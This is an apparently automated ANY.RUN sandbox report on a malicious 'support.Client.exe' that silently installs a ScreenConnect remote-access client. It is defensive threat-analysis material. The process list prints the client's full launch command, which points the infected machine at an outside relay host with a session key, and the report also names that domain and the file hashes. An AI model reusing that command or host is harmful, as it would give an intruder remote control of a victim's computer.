Malware analysis support.Client.exe Malicious activity

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File name:	support.Client.exe
Full analysis:	https://app.any.run/tasks/76ca6c58-3e8c-4d79-91e6-6058b331a1bc
Verdict:	Malicious activity
Analysis date:	March 28, 2025, 12:08:25
OS:	Windows 10 Professional (build: 19044, 64 bit)
Tags:	screenconnect rmm-tool remote
Indicators:
MIME:	application/vnd.microsoft.portable-executable
File info:	PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections
MD5:	F3413C2A1CA0F098C683A9C0F79581CB
SHA1:	9167F73F7FF55486CDEA52E654EDD2E57D55CFCD
SHA256:	3265F030BCA1519369D97FC173A86B791DF017CF5AAA1D0B53FA6C89660E8C88
SSDEEP:	1536:c4lrL5PZVm5c7cwFgnPfdwngb7XCdqQsWQcdnSfqINKBx:brL5RVm5c7cegn3dwgbD+lnSfqRx

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- SCREENCONNECT has been detected (SURICATA)
  - ScreenConnect.ClientService.exe (PID: 3268)
SUSPICIOUS
- Adds/modifies Windows certificates
  - support.Client.exe (PID: 7504)
- Reads Internet Explorer settings
  - dfsvc.exe (PID: 7544)
- Executable content was dropped or overwritten
  - dfsvc.exe (PID: 7544)
- Reads security settings of Internet Explorer
  - dfsvc.exe (PID: 7544)
- Executes as Windows Service
  - ScreenConnect.ClientService.exe (PID: 3268)
- Screenconnect has been detected
  - ScreenConnect.ClientService.exe (PID: 3268)
- SCREENCONNECT mutex has been found
  - ScreenConnect.ClientService.exe (PID: 3268)
- Creates or modifies Windows services
  - ScreenConnect.ClientService.exe (PID: 3268)
- Connects to unusual port
  - ScreenConnect.ClientService.exe (PID: 3268)
- Potential Corporate Privacy Violation
  - ScreenConnect.ClientService.exe (PID: 3268)
- The process creates files with name similar to system file names
  - dfsvc.exe (PID: 7544)
INFO
- Checks supported languages
  - support.Client.exe (PID: 7504)
  - dfsvc.exe (PID: 7544)
- Disables trace logs
  - dfsvc.exe (PID: 7544)
- Reads the computer name
  - support.Client.exe (PID: 7504)
  - dfsvc.exe (PID: 7544)
- Reads the machine GUID from the registry
  - dfsvc.exe (PID: 7544)
  - support.Client.exe (PID: 7504)
  - ScreenConnect.WindowsClient.exe (PID: 1188)
  - ScreenConnect.ClientService.exe (PID: 3268)
- Reads Environment values
  - dfsvc.exe (PID: 7544)
- Creates files or folders in the user directory
  - BackgroundTransferHost.exe (PID: 4452)
  - dfsvc.exe (PID: 7544)
  - ScreenConnect.WindowsClient.exe (PID: 3020)
- Process checks whether UAC notifications are on
  - dfsvc.exe (PID: 7544)
- Checks proxy server information
  - dfsvc.exe (PID: 7544)
- Reads the software policy settings
  - dfsvc.exe (PID: 7544)
- Reads security settings of Internet Explorer
  - BackgroundTransferHost.exe (PID: 1532)
  - BackgroundTransferHost.exe (PID: 4452)
- Create files in a temporary directory
  - dfsvc.exe (PID: 7544)
- SCREENCONNECT has been detected
  - ScreenConnect.ClientService.exe (PID: 3268)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.exe	\|	Win32 Executable MS Visual C++ (generic) (42.2)
.exe	\|	Win64 Executable (generic) (37.3)
.dll	\|	Win32 Dynamic Link Library (generic) (8.8)
.exe	\|	Win32 Executable (generic) (6)
.exe	\|	Generic Win/DOS Executable (2.7)

EXIF

EXE

MachineType:	Intel 386 or later, and compatibles
TimeStamp:	2024:12:18 21:38:20+00:00
ImageFileCharacteristics:	Executable, 32-bit
PEType:	PE32
LinkerVersion:	14.4
CodeSize:	40960
InitializedDataSize:	33280
UninitializedDataSize:	-
EntryPoint:	0x1489
OSVersion:	5.1
ImageVersion:	-
SubsystemVersion:	5.1
Subsystem:	Windows GUI

No data.

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All screenshots are available in the full report

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Total processes

147

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

720

"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1

C:\Windows\System32\BackgroundTransferHost.exe

—

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Download/Upload Host

Exit code:

Version:

10.0.19041.3636 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll

1188

"C:\Users\admin\AppData\Local\Apps\2.0\EDT0X0MC.3A9\OM5NDWT7.764\scre..tion_25b0fbb6ef7eb094_0018.0004_440b2d151841dfad\ScreenConnect.WindowsClient.exe" "RunRole" "c645a8b7-f9cf-4a6e-b77f-853c3c755cb5" "User"

C:\Users\admin\AppData\Local\Apps\2.0\EDT0X0MC.3A9\OM5NDWT7.764\scre..tion_25b0fbb6ef7eb094_0018.0004_440b2d151841dfad\ScreenConnect.WindowsClient.exe

—

ScreenConnect.ClientService.exe

User:

admin

Company:

ScreenConnect Software

Integrity Level:

MEDIUM

Description:

ScreenConnect Client

Version:

24.4.4.9118

Modules

Images
c:\users\admin\appdata\local\apps\2.0\edt0x0mc.3a9\om5ndwt7.764\scre..tion_25b0fbb6ef7eb094_0018.0004_440b2d151841dfad\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll

1532

"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1

C:\Windows\System32\BackgroundTransferHost.exe

—

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Download/Upload Host

Exit code:

Version:

10.0.19041.3636 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll

2196

C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

services.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Host Process for Windows Services

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll

2284

"C:\Users\admin\AppData\Local\Apps\2.0\EDT0X0MC.3A9\OM5NDWT7.764\scre..tion_25b0fbb6ef7eb094_0018.0004_440b2d151841dfad\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=borejon.wxhelp.top&p=8880&s=5a3d89ba-cb78-4706-8bbc-1022e87aecbe&k=BgIAAACkAABSU0ExAAgAAAEAAQBx0zcOEYujzQguxXg08bB1kOMkcCfFelFgniaH%2fzbCnBFxGGZj2GKP%2f4VzHiXGBO8aG%2bOP13Jc6We1Pp6igpesbQHZakDqr1g6%2fkISsMDQ6g7XVosu99qY%2fBgQksSrH3%2fJz948u6l%2bjSlV%2f2RYfJ68Oc09ZeX7UMPFlo6H94jRL%2fCj6HVtYr7w1ZDUaWsWrV0IgTAZEi5PK7CzEH99RKCj4cf8AVQW6XF1kbLb6rFgNOgOlCo7auk8Ez8Z6HDu9FpEaVEAtgoK9rh5TSPz5YQmF0TOPJ3XGvjqRpJNo%2flkjixdRHtDGArnNhmWHcuUK7XI7bmHmc866nBmq4JERYOy&r=&i=Untitled%20Session" "5"

C:\Users\admin\AppData\Local\Apps\2.0\EDT0X0MC.3A9\OM5NDWT7.764\scre..tion_25b0fbb6ef7eb094_0018.0004_440b2d151841dfad\ScreenConnect.ClientService.exe

ScreenConnect.WindowsClient.exe

User:

admin

Integrity Level:

HIGH

Exit code:

Version:

24.4.4.9118

Modules

Images
c:\users\admin\appdata\local\apps\2.0\edt0x0mc.3a9\om5ndwt7.764\scre..tion_25b0fbb6ef7eb094_0018.0004_440b2d151841dfad\screenconnect.clientservice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\shlwapi.dll

3020

"C:\Users\admin\AppData\Local\Apps\2.0\EDT0X0MC.3A9\OM5NDWT7.764\scre..tion_25b0fbb6ef7eb094_0018.0004_440b2d151841dfad\ScreenConnect.WindowsClient.exe"

C:\Users\admin\AppData\Local\Apps\2.0\EDT0X0MC.3A9\OM5NDWT7.764\scre..tion_25b0fbb6ef7eb094_0018.0004_440b2d151841dfad\ScreenConnect.WindowsClient.exe

—

dfsvc.exe

User:

admin

Company:

ScreenConnect Software

Integrity Level:

MEDIUM

Description:

ScreenConnect Client

Exit code:

Version:

24.4.4.9118

Modules

Images
c:\users\admin\appdata\local\apps\2.0\edt0x0mc.3a9\om5ndwt7.764\scre..tion_25b0fbb6ef7eb094_0018.0004_440b2d151841dfad\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll

3268

C:\Users\admin\AppData\Local\Apps\2.0\EDT0X0MC.3A9\OM5NDWT7.764\scre..tion_25b0fbb6ef7eb094_0018.0004_440b2d151841dfad\ScreenConnect.ClientService.exe

services.exe

User:

SYSTEM

Integrity Level:

SYSTEM

Version:

24.4.4.9118

Modules

Images
c:\users\admin\appdata\local\apps\2.0\edt0x0mc.3a9\om5ndwt7.764\scre..tion_25b0fbb6ef7eb094_0018.0004_440b2d151841dfad\screenconnect.clientservice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\shlwapi.dll
c:\windows\syswow64\msvcrt.dll

4452

"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1

C:\Windows\System32\BackgroundTransferHost.exe

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Download/Upload Host

Exit code:

Version:

10.0.19041.3636 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll

7492

"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1

C:\Windows\System32\BackgroundTransferHost.exe

—

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Download/Upload Host

Exit code:

Version:

10.0.19041.3636 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\backgroundtransferhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll

7504

"C:\Users\admin\AppData\Local\Temp\support.Client.exe"

C:\Users\admin\AppData\Local\Temp\support.Client.exe

—

explorer.exe

User:

admin

Integrity Level:

MEDIUM

Exit code:

Modules

Images
c:\users\admin\appdata\local\temp\support.client.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\crypt32.dll

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Total events

10 625

Read events

10 411

Write events

183

Delete events

Modification events


(PID) Process:	(7504) support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates
Operation:	delete value	Name:	7B0F360B775F76C94A12CA48445AA2D2A875701C
Value:
(PID) Process:	(7504) support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C
Operation:	write	Name:	Blob
Value: 0300000001000000140000007B0F360B775F76C94A12CA48445AA2D2A875701C2000000001000000B4060000308206B030820498A003020102021008AD40B260D29C4C9F5ECDA9BD93AED9300D06092A864886F70D01010C05003062310B300906035504061302555331153013060355040A130C446967694365727420496E6331193017060355040B13107777772E64696769636572742E636F6D3121301F060355040313184469676943657274205472757374656420526F6F74204734301E170D3231303432393030303030305A170D3336303432383233353935395A3069310B300906035504061302555331173015060355040A130E44696769436572742C20496E632E3141303F060355040313384469676943657274205472757374656420473420436F6465205369676E696E6720525341343039362053484133383420323032312043413130820222300D06092A864886F70D01010105000382020F003082020A0282020100D5B42F42D028AD78B75DD539591BB18842F5338CEB3D819770C5BBC48526309FA48E68D85CF5EB342407E14B4FD37843F417D71EDAF9D2D5671A524F0EA157FC8899C191CC81033E4D702464B38DE2087D347D4C8057126B439A99F2C53B1FF2EFCB475A13A64CB3012025F310D38BB2FB08F08AE09D09C065A7FA98804935873D5119E8902178452EA19F2CE118C21ACCC5EE93497042328FFBC6EA1CF3656891A24D4C8211485268DE10BD14575DE8181365C57FB24F852C48A4568435D6F92E9CAA0015D137FE1A0694C27CC8EA1B32E6CAC2F4A7A3030E74A5AF39B6AB6012E3E8D6B9F731E1DCADE418A0D8C1234747B3A10F6EA3AB6D9806831BB76A672DD2BD441A9210818FB03B09D7C79B325AC2FF6A60548B49C193EDE1B45CE06FEB26F98CD5B2F93810E6EACE91F5BED3FB6F9361345CBC93452883362A66285FB073CE8B262506B283D45CF615194CED62E05E33F2E8E8EC0AA7B0032B91B23679BEF7AD081E75A665CCBBE34850F377911AFEDB50A246C8615898F57C02163C8328AD3986ECD4B70D53D0F847E675308DEC30937614A65B4B5D74614D3F129176DEBF58CB72102941F0D5C56D267668114113589ADC262B01F4894D59DB78CF814A3E40475FC98150738510232159608A6454C1CC211AE838197C661CCD78384530994FFF634F4CBBAA0D0853417C583D47B3FAB6EC8C320902CC6C3C0C56110203010001A38201593082015530120603551D130101FF040830060101FF020100301D0603551D0E041604146837E0EBB63BF85F1186FBFE617B088865F44E42301F0603551D23041830168014ECD7E382D2715D644CDF2E673FE7BA98AE1C0F4F300E0603551D0F0101FF04040302018630130603551D25040C300A06082B06010505070303307706082B06010505070101046B3069302406082B060105050730018618687474703A2F2F6F6373702E64696769636572742E636F6D304106082B060105050730028635687474703A2F2F636163657274732E64696769636572742E636F6D2F446967694365727454727573746564526F6F7447342E63727430430603551D1F043C303A3038A036A0348632687474703A2F2F63726C332E64696769636572742E636F6D2F446967694365727454727573746564526F6F7447342E63726C301C0603551D20041530133007060567810C01033008060667810C010401300D06092A864886F70D01010C050003820201003A23443D8D0876EE8FBC3A99D356E0021AA5F84834F32CB6E67466F79472B100CAAF6C302713129E90449F4BFD9EA37C26D537BC3A5D486D95D53F49F427BB16814550FD9CBDB685E0767E3771CB22F75AAA90CFF5936AE3EB20D1D55079889A8A8AC1B6BDA148187EDCD8801A111918CD61998156F6C9E376E7C4E41B5F43F83E94FF76393D9ED499CF4ADD28EB5F26A1955848D51AFED7273FFD90D17686DD1CB0605CF30DA8EEE089A1BD39E1384EDA6EBB369DFBE521535AC3CAE96AF1A23EDB43B833C84F38149299F5DDCE546DD95D02141F40337C03E295B2C221757352CB46D8C4341CA2A54B8DCD6F76372C853F1ACE26E918BE9007B0437F9588208270F0CCCAEFFD29355C1F893855F7378A8B09A1CB0BE9311AFF2E195C3971E1BE9CA70A06D62667B792E64E5FDE7AAC49CF2EA47492ADDB3CA49C861FE3C1561B2B23FF8FB5EA887B706BE6A0BAFD3A3F45A6C4E81691528B41C048844B964DAB4440E38DF01528CEEDF11856072A2F10C40C08643C338FAE288C3CCB8F880B0DBF3BF4CE1E7B8EEFB5EBCBB7F07713E6E7283FAC12AEA52F226C41F9825C1566CC6C0ECAC586C3F626330C074BA0D307026A6A4030484B34A85120BBAD1B8508E2590D6DCA05502BEA4A1C9EA5FDA0A71F0674E7F2D65290FDAF854821F9573BB49C03ED8645F4B4616EBF68E2266086EAC8AFA9FE941DE7631B3A8656784E
(PID) Process:	(7504) support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates
Operation:	delete value	Name:	4C2272FBA7A7380F55E2A424E9E624AEE1C14579
Value:
(PID) Process:	(7504) support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579
Operation:	write	Name:	Blob
Value: 0300000001000000140000004C2272FBA7A7380F55E2A424E9E624AEE1C145792000000001000000640700003082076030820548A00302010202100B9360051BCCF66642998998D5BA97CE300D06092A864886F70D01010B05003069310B300906035504061302555331173015060355040A130E44696769436572742C20496E632E3141303F060355040313384469676943657274205472757374656420473420436F6465205369676E696E67205253413430393620534841333834203230323120434131301E170D3232303831373030303030305A170D3235303831353233353935395A3065310B30090603550406130255533110300E06035504081307466C6F72696461310E300C0603550407130554616D706131193017060355040A1310436F6E6E656374776973652C204C4C433119301706035504031310436F6E6E656374776973652C204C4C4330820222300D06092A864886F70D01010105000382020F003082020A0282020100EC489826D08D2C6DE21B3CD3676DB1E0E50CB1FF75FF564E9741F9574AA3640AA8297294A05B4DB68ABD0760B6B05B50CE92FF42A4E390BE776A43E9961C722F6B3A4D5C880BCC6A61B4026F9137D36B2B7E9B86055876B9FA860DBCB164FE7F4B5B9DE4799AE4E02DC1F0BEE01E5D032933A2827388F8DB0B482E76C441B1BD50909EF2023E1FB62196C994CE052266B28CD89253E6416044133139764DB5FC45702529536BF82C775F9EC81FA27DC409530325F40CDEF95B81B9CE0D42791CEE72E7BD1B36C257B52257C65A28970E457513989434BFC239E2992B193E1B3CC3F11CCDD1D26D4EC9845099AB913906A42069AF999C0071169B45A2EA1AA666F1904E8ACB05E1823A359A291FD46B4EF7AED5935BB6AB17EBF077210726930C90F01761D6544A94E8FA614CC41D817EEC734B1C3D3AFB7C58FB256F0C09EDC1459BDDBFF9940ED1958570265D67AF79A9B6A16AFFD70FC6328C9810D5DC186E39AF6FBCAD49A270F237E6BCD5DE0BC014BC3179CD79776591340311A42CA94F33416C2E01B59BD1D71DE86ACE6716BC90B2D7695D155039AA08FBAC19A4D93FB784230A20A485287A16355645FC09142C602D140FA046B7BFD75328184FF7BDF8F9E0D65E6201C8D242931047F59BD328AC353777CCEFA60408887B84FC3631301463461A1D73C0B5CC74D6D82905DDF923BDBAB027A311CC38D3FA16F639A50203010001A382020630820202301F0603551D230418301680146837E0EBB63BF85F1186FBFE617B088865F44E42301D0603551D0E04160414338CE10A6E06D9C6ED0BC6CAE736CEFB8188646A300E0603551D0F0101FF04040302078030130603551D25040C300A06082B060105050703033081B50603551D1F0481AD3081AA3053A051A04F864D687474703A2F2F63726C332E64696769636572742E636F6D2F4469676943657274547275737465644734436F64655369676E696E6752534134303936534841333834323032314341312E63726C3053A051A04F864D687474703A2F2F63726C342E64696769636572742E636F6D2F4469676943657274547275737465644734436F64655369676E696E6752534134303936534841333834323032314341312E63726C303E0603551D20043730353033060667810C0104013029302706082B06010505070201161B687474703A2F2F7777772E64696769636572742E636F6D2F43505330819406082B06010505070101048187308184302406082B060105050730018618687474703A2F2F6F6373702E64696769636572742E636F6D305C06082B060105050730028650687474703A2F2F636163657274732E64696769636572742E636F6D2F4469676943657274547275737465644734436F64655369676E696E6752534134303936534841333834323032314341312E637274300C0603551D130101FF04023000300D06092A864886F70D01010B050003820201000AD79F00CF4984864C8981ECCE8718AA875647F6A74608C968E16568C7AA9D711ED7341676038067F01330C91621B27A2A8894C4108C268162A31F13F9757A7D6BB3C6F19BF27C3A29896D712D85873627D827CD6471761444FABF1D31E903F791143C5B4CE5E7444AACBA36D759AEBA3069D195226755CBC675AA747F77596C53C96E083C45BBA24479D6845EEA9F2B28BA29B4DCF0BCF14AA4CE176C24E2C1B8FEC3EE16E1C086DB6FDA97388859E83BE65C03F701395B78B842C6DD1533EF642CCA6FE50F6337D3F2DFEDD8B28F2B28E0C98EDD2151392E7CC75489F48859F1DE14C81B306EB50EED7BB78BE30EAADA76767C4CA523A11EEC5A2372D6122926AB1801A6A6778E9504791487EE47D4577154988802070F80FC535957658F954CD083546C5AFB5A6567B6761275F5DB20F70AB86FEEF94C7CFC65369D325121B69A82399BC7DC1962416F0F05CF1EEE64D495A3527E464E2C68DA0187093F97B673E43DDDBCC067E00713F1565FCFF8C3772D44B40A04E600644F22A990345F9A6B5B52963E82C81A0CE91D43A230F67B37D8DEBDA40EA3D59D305E18ADC1976516C12A8BA2BCA24143B12E9527B4DCA58872AA9B3A8C6AC563FC2DC02BF51BE889516D35A4BA9D062417B5BDCC50BA945FAE26B60D6AEC03984798A6A21D3FF793CC0849E81ED55B8027411C50DB776AE8FEEF2FDC2DAFB04345261DEDC054
(PID) Process:	(7544) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	write	Name:	ComponentStore_RandomString
Value: LBK2LZ7H53CGG94VEMYCZ8P6
(PID) Process:	(7544) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	delete value	Name:	ComponentStore_RandomString
Value: LBK2LZ7H53CGG94VEMYCZ8P6
(PID) Process:	(7544) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	delete key	Name:	(default)
Value:
(PID) Process:	(7544) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	write	Name:	ComponentStore_RandomString
Value: EDT0X0MC3A9OM5NDWT7764K0
(PID) Process:	(7544) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager
Operation:	write	Name:	StateStore_RandomString
Value: 1K1JE8OKRV5A17H0CDHGWA9X
(PID) Process:	(7544) dfsvc.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dfsvc_RASAPI32
Operation:	write	Name:	EnableFileTracing
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
4452	BackgroundTransferHost.exe	C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\24315a40-479e-4b62-8279-6f18a950fdf2.down_data		—
		MD5:—	SHA256:—
7544	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\VXAZ2RCA.2YC\3RWNX5DQ.8A3\ScreenConnect.WindowsClient.exe.manifest		xml
		MD5:59009C4F246E6528BA70C6F65EE5DD0C	SHA256:E272B0496A6350E84FC34140476F9EF1BF51612ABCBF6014C3CA07E0ABE12EA1
7544	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\YL9QQ2ZR.RO1\0GW4VGZA.99R.application		xml
		MD5:9AC4954D33E063FDEF5236004D57442E	SHA256:CE37639F366DA772331216865047D422F00A6B0BC46BE4FDB7F0E151DF0D0DA9
7544	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\VXAZ2RCA.2YC\3RWNX5DQ.8A3\ScreenConnect.WindowsFileManager.exe.config		xml
		MD5:728175E20FFBCEB46760BB5E1112F38B	SHA256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
4452	BackgroundTransferHost.exe	C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\24315a40-479e-4b62-8279-6f18a950fdf2.a7e495d6-a97a-4da5-aac6-8e80351a144a.down_meta		binary
		MD5:0234D8AFFFE50D7C69AA62179F677808	SHA256:B369FDF3A8E37BCC54CDBB4CB9826AAB57EFCCDF93E24FF94612FB4BAFF3B330
7544	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\VXAZ2RCA.2YC\3RWNX5DQ.8A3\ScreenConnect.ClientService.exe		executable
		MD5:D3E628C507DC331BAB3DE1178088C978	SHA256:D7D98508730B4384D7E3DCA63A2756D81AF3C54156EFB7B7299004CC2A9B6AB3
